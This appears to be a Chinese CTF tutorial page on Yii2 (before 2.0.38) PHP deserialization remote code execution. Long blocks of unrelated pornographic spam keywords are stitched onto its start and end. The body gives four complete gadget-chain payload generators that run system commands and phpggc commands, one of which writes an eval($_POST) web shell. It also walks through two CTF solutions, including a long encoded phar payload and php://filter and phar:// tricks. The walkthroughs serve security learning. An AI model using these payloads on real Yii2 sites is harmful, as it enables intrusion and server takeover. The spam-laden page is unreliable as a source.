成人怡红院-成人怡红院视频在线观看-成人影视大全-成人影院203nnxyz-美女毛片在线看-美女免费黄

站長資訊網
最全最豐富的資訊網站

精選幾道CTF習題,帶你學習yii2框架!

本篇文章帶大家了解yii2框架,分享幾道CTF習題,通過它們來學習yii2框架,希望對大家有所幫助。

精選幾道CTF習題,帶你學習yii2框架!

Yii是一套基于組件、用于開發大型 Web 應用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize()時,攻擊者可通過構造特定的惡意請求執行任意命令,本篇就分析一下yii2利用鏈以及如何自己去構造payload,并結合CTF題目去學習yii2框架

Yii2<2.0.38反序列化

安裝:在 https://github.com/yiisoft/yii2/releases下載2.0.37的版本

然后在 yii-basic-app-2.0.37basicconfigweb.php里面往cookieValidationKey隨意給點值,運行 php yii serve,新建一個控制器

yii-basic-app-2.0.37basiccontrollersTestController.php

<?php namespace appcontrollers; use yiiwebController;  class TestController extends Controller{     public function actionTest($name){         return unserialize($name);     } }

就可以進行測試了

?r=test/test&name=

鏈一

鏈的入口在

yii-basic-app-2.0.37basicvendoryiisoftyii2dbBatchQueryResult.php

public function __destruct()     {         // make sure cursor is closed         $this->reset();     }

跟進$this->reset();

public function reset()     {         if ($this->_dataReader !== null) {             $this->_dataReader->close();         }

這里的$this->_dataReader可控,并調用了close()方法,那么可以找到一個類不存在close()方法,但存在__call方法就可以調用他了

yii-basic-app-2.0.37basicvendoryiisoftyii2-giisrcGenerator.php

public function __call($method, $attributes)     {         return $this->format($method, $attributes);     }

這里的$methodclose,$attributes為空,繼續跟進format

public function format($formatter, $arguments = array())     {         return call_user_func_array($this->getFormatter($formatter), $arguments);     }

跟進getFormatter

public function getFormatter($formatter)     {         if (isset($this->formatters[$formatter])) {             return $this->formatters[$formatter];         }

似曾相識的代碼,laravel5.8某條鏈就出現過,這里$this->formatters可控,也就是$this->getFormatter($formatter)這這個可控,但是$arguments的值我們無法控制,值為空

到這里可以執行phpinfo

<?php namespace yiidb{     class BatchQueryResult{         private $_dataReader;         public function __construct($_dataReader) {             $this->_dataReader = $_dataReader;         }     } } namespace Faker{     class Generator{         protected $formatters = array();         public function __construct($formatters) {             $this->formatters = $formatters;         }     } } namespace {     $a = new FakerGenerator(array('close'=>'phpinfo'));     $b = new yiidbBatchQueryResult($a);     print(urlencode(serialize($b))); }

但是我們想要rce的話,還要在yii2中已有的無參方法中進行挖掘

這里我們可以使用正則匹配直接搜索含有call_user_function的無參函數

call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)

然后找到下面兩個都比較好用

yii-basic-app-2.0.37basicvendoryiisoftyii2restIndexAction.php public function run()     {         if ($this->checkAccess) {             call_user_func($this->checkAccess, $this->id);         }          return $this->prepareDataProvider();     }  yii-basic-app-2.0.37basicvendoryiisoftyii2restCreateAction.php public function run() {     if ($this->checkAccess) {         call_user_func($this->checkAccess, $this->id); }

這里的$this->checkAccess$this->id都是我們可控的

所以直接構造就行了

<?php namespace yiidb{     class BatchQueryResult{         private $_dataReader;         public function __construct($_dataReader) {             $this->_dataReader = $_dataReader;         }     } } namespace Faker{     class Generator{         protected $formatters = array();         public function __construct($formatters) {             $this->formatters = $formatters;         }     } } namespace yiirest{     class CreateAction{         public $checkAccess;         public $id;         public function __construct($checkAccess,$id){             $this->checkAccess = $checkAccess;             $this->id = $id;         }     } } namespace {     $c = new yiirestCreateAction('system','whoami');     $b = new FakerGenerator(array('close'=>array($c, 'run')));     $a = new yiidbBatchQueryResult($b);     print(urlencode(serialize($a))); }

精選幾道CTF習題,帶你學習yii2框架!

鏈二

這個是yii2 2.0.37的另外一條鏈

起點和鏈一相同,是BatchQueryResult類的__destruct,然后是$this->_dataReader->close(),但是這里不找__call,我們去找存在close方法的類

找到yii-basic-app-2.0.37basicvendoryiisoftyii2webDbSession.php

class DbSession extends MultiFieldSession { ... public function close()     {         if ($this->getIsActive()) {             // prepare writeCallback fields before session closes             $this->fields = $this->composeFields();

這里跟進$this->composeFields()

abstract class MultiFieldSession extends Session { protected function composeFields($id = null, $data = null)     {         $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];

這里$this->writeCallback可控,$this是一個對象,所以這里調phpinfo的話應該不行,不過可以續上鏈一的run方法(即那個無參的方法)

這里直接構造即可

<?php namespace yiidb{     class BatchQueryResult{         private $_dataReader;         public function __construct($_dataReader) {             $this->_dataReader = $_dataReader;         }     } } namespace yiiweb{     class DbSession{         public $writeCallback;         public function __construct($writeCallback) {             $this->writeCallback = $writeCallback;         }     } } namespace yiirest{     class CreateAction{         public $checkAccess;         public $id;         public function __construct($checkAccess,$id){             $this->checkAccess = $checkAccess;             $this->id = $id;         }     } } namespace {     $c = new yiirestCreateAction('system','whoami');     $b = new yiiwebDbSession(array($c, 'run'));     $a = new yiidbBatchQueryResult($b);     print(urlencode(serialize($a))); }

鏈三

我們可以在yii2 2.0.38commit看到他加了一個__wakeup

精選幾道CTF習題,帶你學習yii2框架!

這里限制了鏈一的起點BatchQueryResult無法使用,后面的__call的鏈沒有被破壞,所以我們繼續尋找一個__destruct

yii-basic-app-2.0.37basicvendorcodeceptioncodeceptionextRunProcess.php

public function __destruct()     {         $this->stopProcess();     }

這里繼續跟進stopProcess

public function stopProcess()     {         foreach (array_reverse($this->processes) as $process) {             /** @var $process Process  **/             if (!$process->isRunning()) {                 continue;             }

這里的$this->processes可控,所以可以利用$process->isRunning()來進行觸發__call

后面的利用就和鏈一相同了

<?php namespace CodeceptionExtension{     class RunProcess{         private $processes = [];         public function __construct($processes) {             $this->processes[] = $processes;         }     } } namespace Faker{     class Generator{         protected $formatters = array();         public function __construct($formatters) {             $this->formatters = $formatters;         }     } } namespace yiirest{     class CreateAction{         public $checkAccess;         public $id;         public function __construct($checkAccess,$id){             $this->checkAccess = $checkAccess;             $this->id = $id;         }     } } namespace {     $c = new yiirestCreateAction('system','whoami');     $b = new FakerGenerator(array('isRunning'=>array($c, 'run')));     $a = new CodeceptionExtensionRunProcess($b);     print(urlencode(serialize($a))); }

鏈四

同樣的先找__destruct

yii-basic-app-2.0.37basicvendorswiftmailerswiftmailerlibclassesSwiftKeyCacheDiskKeyCache.php

public function __destruct()     {         foreach ($this->keys as $nsKey => $null) {             $this->clearAll($nsKey);         }     }

這里$nsKey可控,跟進clearAll

public function clearAll($nsKey)     {         if (array_key_exists($nsKey, $this->keys)) {             foreach ($this->keys[$nsKey] as $itemKey => $null) {                 $this->clearKey($nsKey, $itemKey);             }             if (is_dir($this->path.'/'.$nsKey)) {                 rmdir($this->path.'/'.$nsKey);             }             unset($this->keys[$nsKey]);         }     }

這里沒有觸發__call的地方,但是存在字符串的拼接,可以觸發__toString

隨便找找就找到了yii-basic-app-2.0.37basicvendorcodeceptioncodeceptionsrcCodeceptionUtilXmlBuilder.php

public function __toString() {     return $this->__dom__->saveXML(); }

同樣用他去觸發__call

<?php namespace {     class Swift_KeyCache_DiskKeyCache{         private $path;         private $keys = [];         public function __construct($path,$keys) {             $this->path = $path;             $this->keys = $keys;         }     } } namespace CodeceptionUtil{     class XmlBuilder{         protected $__dom__;         public function __construct($__dom__) {             $this->__dom__ = $__dom__;         }     } } namespace Faker{     class Generator{         protected $formatters = array();         public function __construct($formatters) {             $this->formatters = $formatters;         }     } } namespace yiirest{     class CreateAction{         public $checkAccess;         public $id;         public function __construct($checkAccess,$id){             $this->checkAccess = $checkAccess;             $this->id = $id;         }     } } namespace {     $c = new yiirestCreateAction('system','whoami');     $b = new FakerGenerator(array('saveXML'=>array($c,'run')));     $a = new CodeceptionUtilXmlBuilder($b);     $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));     print(urlencode(serialize($d))); }

精選幾道CTF習題,帶你學習yii2框架!

phpggc

使用./phpggc -l yii2可以看到有兩條yii2的鏈

精選幾道CTF習題,帶你學習yii2框架!

可以使用如下命令快速得到鏈,-uurl編碼

./phpggc Yii2/RCE1 system id -u

phpggc的鏈二的終點是一個eval,所以這里可以直接寫shell,-bbase64編碼

./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b

CTF題目

[HMBCTF 2021]framework

把題目附件解壓,看到htmlcontrollersSiteController.php

class SiteController extends Controller {     public function actionAbout($message = 'Hello')     {         $data = base64_decode($message);         unserialize($data);     }

這里可以這樣傳參

?r=site/about&message=

拿鏈一打了一下,發現一下system等函數被ban

精選幾道CTF習題,帶你學習yii2框架!

這里用phpggc yii2的鏈二寫一個shell進去,然后用蟻劍的 apache/moddisable,運行 /readflag 即可獲取 flag

[CISCN2021 Quals]filter

據說這是配置文件里面的重要內容,或許對你有用??!

        'log' => [             'traceLevel' => YII_DEBUG ? 0 : 0,             'targets' => [                 [                     'class' => 'yiilogFileTarget',                     'levels' => ['error'],                     'logVars' => [],                 ],             ],         ],

看到附件的SiteController.php就改了這個地方

public function actionIndex()     {         $file = Yii::$app->request->get('file');         $res = file_get_contents($file);         file_put_contents($file,$res);         return $this->render('index');     }

yii框架的runtime/logs目錄下有一個app.log

看一下依賴發現monolog符合

"require": {         "php": ">=5.6.0",         "yiisoft/yii2": "~2.0.14",         "yiisoft/yii2-bootstrap": "~2.0.0",         "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",     "monolog/monolog":"1.19"     },

首先清空日志文件

?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

phpggc生成

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

寫入日志,注意最后面要加個字符a

/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a

保留phar的內容

/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

最后用phar協議打一下

/?file=phar://../runtime/logs/app.log/test.txt

精選幾道CTF習題,帶你學習yii2框架!

然后在根目錄找到This_is_flaaagggg

然后用這個找一下flag即可

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

本文涉及相關實驗:PHP反序列化漏洞實驗 (通過本次實驗,大家將會明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和預防此類漏洞。

相關文章教程推薦:《yii框架教程》

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
四虎WWW永久在线精品| 无码精品毛片波多野结衣| 久久久久久精品国产亚洲AV麻豆| 亚洲欧美另类久久久精品| 少妇被又粗又硬猛烈进出小说| 欧美多人乱大交XXXXX变态亚| 亚洲人成网亚洲欧洲无码久久| 一本一本大道香蕉久在线精品| 国产精品久久久久精品A级| 女女互揉吃奶揉到高潮视频| 亚洲精品狼友在线播放| 精品国产一区二区三区AV性色| 51无人区码一码二码三码| 为什么穿裙子方便打野| 影音先锋亚洲亚洲色图| 国产真实老熟女无套内射| 色欲AV国产精品一区二区| 国产精品R级最新在线观看| 久久人午夜亚洲精品无码区| 亚洲 小说区 图片区 都市| FREE MOVIES 日本护| 久久99精品久久久久久青青| 欧洲亚洲日韩性无码专区| 无码专区人妻系列日韩| 国内精品久久人妻无码网站 | YY111111少妇无码影院| 国产午夜视频在线观看720P| 女人和拘做受全过程| 国产成人免费AV片在线观看| 美女裸体十八禁免费网站| 上面一个奶下面一个顶是什么字| 国产亚洲精久久久久久无码77777 国产亚洲精久久久久久无码777 | 老旺的大肉蟒进进出出次视频| 人人妻人人澡人人爽人人精品 | 精品人人妻人人爽D∨D| 我的妈妈和黑人群交小说| 精品亚洲国产成人AV在线| 亚洲色丰满少妇高潮18P| 天堂BT种子在线最新版资源| 饥渴人妻被快递员玩弄视频| 国产亚洲精品美女久久久久| 久久人人爽爽人人爽人人片AV| 人人妻人人澡人人爽人人 | 锕锕锕锕锕锕好污网站大全| WWW.一区二区三区在线 || MD豆传媒APP网址入口免费| 国产情侣露脸高清在线| 狠狠色噜噜狠狠狠888777米| 精品人妻无码区在线视频| 久久久久久精品久久久| 日韩 无码 偷拍 中文字幕| 色婷婷亚洲婷婷七月中文字幕| 天美传媒剧国产MV在线看| 性饥渴少妇做私密SPA| 亚洲日韩在线中文字幕综合| 中国熟妇色XXXXⅩ老妇| JULIA绝顶快感高潮在线| 国产真实夫妇交换视频| 人妻激情偷乱频一区二区三区| 色婷婷日日躁夜夜躁| 亚洲中文字幕乱码电影| 69美女黑人做受XXXXXⅩ| 国产精品久久久久久亚洲AV| 男朋友一晚弄了我5次正常吗| 人妻VA精品VA欧美VA| 天天做天天爱夜夜爽毛片| 无码人妻品一区二区三区精99| 亚洲AV无码1区2区久久| 亚洲一区强奸视频| JIZZJIZZ日本护士视频| 精华液一区二区区别| 女人双腿搬开让男人桶| 亚洲AV永久无码精品国产精品| 又粗又黄又猛又爽大片免费| 被三个男人躁一夜好爽小说| 国产精品电影久久久久电影网 | 中国猛少妇色XXXXX| А√天堂资源中文在线官网| 国产成人AV免费网址| 精品一区二区AV天堂| 天天躁狠狠躁狠狠躁夜夜躁| 337P粉嫩日本欧洲亚洲大胆艺| 激情内射日本一区二区三区| 特级XXXXX欧美| W永久939W乳液78| 毛片一区二区三区| 亚洲另类精品无码专区| WWW国产精品人妻一二三区| 久久久久久久久久久大尺度免费视 | 水蜜桃国产成人精品网站| 99精产国品一二三产区区别网站| 国产激情一区二区三区视频免樱桃| 精品无人区一区二区三区| 无码国内精品人妻少妇蜜桃视频| 八戒八戒神马2021| 女儿的朋友中字头| 五十路六十路七十路熟婆| 制服丝袜自拍另类第1页| 狠狠97人人婷婷五月| 无码人妻精品一区二区蜜桃百度| 菠萝视频高清视频在线7| 欧美VA久久久噜噜噜久久| 一炕四女被窝交换啪啪| 国产成人AⅤ片在线观看| 人人妻人人澡人人爽人人精品97| 中文字幕人妻丝袜成熟乱| 国产精品偷窥老熟女高潮| 蜜臀AV一区二区三区四区| 亚洲色噜噜噜噜噜噜国产| 韩国全部三级伦在线播放| 欧美又粗又大XXXⅩBBBB| 亚洲国产精品无码中文字APP| А√中文在线资源库| 蜜桃女同一区二区免费AV哟| 亚洲最大AV在线| 国产成人AV片无码免费| 日日碰狠狠添天天爽| 中文AV无码人妻一区二区三区 | 再深点灬舒服灬太大了下载| 国产精品成熟老妇女| 少女たちよ在线观看完整版动漫 | 午夜影视啪啪免费体验区入口| 2019NV天堂香蕉在线观看| 国产最变态调教视频| 午夜精品久久久久久久99热| 国产精品久久久久久麻豆一区| 污黄啪啪网18以下勿进| 国产精品美女久久久浪潮AV| 无码人妻久久一区二区三区蜜桃 | 亚洲女同精品一区二区| 久久99精品久久久久久9蜜桃| 亚洲欧洲专线一区| 久久久久亚洲AV成人片乱码| 乌鸦传媒一二三区| 国产精品久久久久久吹潮| 无码熟妇人妻AV| 含着她的花蒂啃咬高潮| 熟妇内射在线二区| 国产高潮刺激叫喊视频| 无遮挡边吃摸边吃奶边做| 国内精品人妻无码久久久影院导航| 亚洲AV人人澡人人爽人人夜夜| 激情国产AV做激情国产爱| 亚洲日韩精品无码专区加勒比| 久久久久久精品免费免费自慰| 玉蒲团之官人我要| 欧美日韩免费观看| 在办公室伦流澡到高潮H| 女厕厕露P撒尿八个少妇| MM131美女图片尤物写真丝袜| 日韩精品无码一区二区三区四区| 99精品又大又爽又粗少妇毛片| 久久精品人人槡人妻人人玩AV | 英语老师乖乖挽起裙子的意思 | 精品人妻Av乱码一区二区 | 亚洲成人AV无码| 国产精品久久久爽爽爽麻豆色哟哟 | 玩弄JaPan白嫩少妇HD小说| 国内盗摄视频一区二区三区| 亚洲午夜无码AV毛片久久| 男女狂进狂出动态图| 成人区人妻精品一区二区三区| 浓精喷进老师黑色丝袜| 波多野结衣无内裤护士| 无码av无码免费一区二区毛片| 护士猛少妇色XXⅩXXX猛叫| 曰批免费视频播放免费直播| 欧洲精品久久久AV无码电影| 国产成人无码18禁午夜福利网址 | 特级做A爰片毛片免费看无码 | 公和我做好爽添厨房| 人妻无码一区二区19P| 国产成人婷婷丁香在线| 亚洲女久久久噜噜噜熟女| 欧美XXXⅩ重口变态调教| 隔壁人妻被水电工征服| 亚洲国产成人综合在线不卡| 国产无遮挡裸体免费直播| 羞羞汗汗YY歪歪漫画AV漫画| 久久久久久毛片精品免费不卡| MM131美女图片高清图片视频| 无码无套少妇毛多18P| 久久婷婷人人澡人人喊人人爽| 啊灬啊灬啊灬快灬少妇软件| 无码人妻精品一区二区桃蜜| 久久久久国产精品免费免费搜索| JAPANESE熟女熟妇多毛毛| 欧美黑粗大在线观看| WWWらだ在线天堂中文在线| 无码人妻精品一区二区三区久久| 久久寂寞少妇成人内射| 野花影视大全在线观看免费高清| 欧美乱妇高清无乱码| 99热最新成人国产精品| 乌克兰XXXXXLMEDJYF| 久久亚洲国产成人影院| 中文字幕人妻丝袜乱一区三区| 上边一面亲下边一面膜的功效| 久久精品国产99国产精品| 被驯服的人妻佐佐木明希|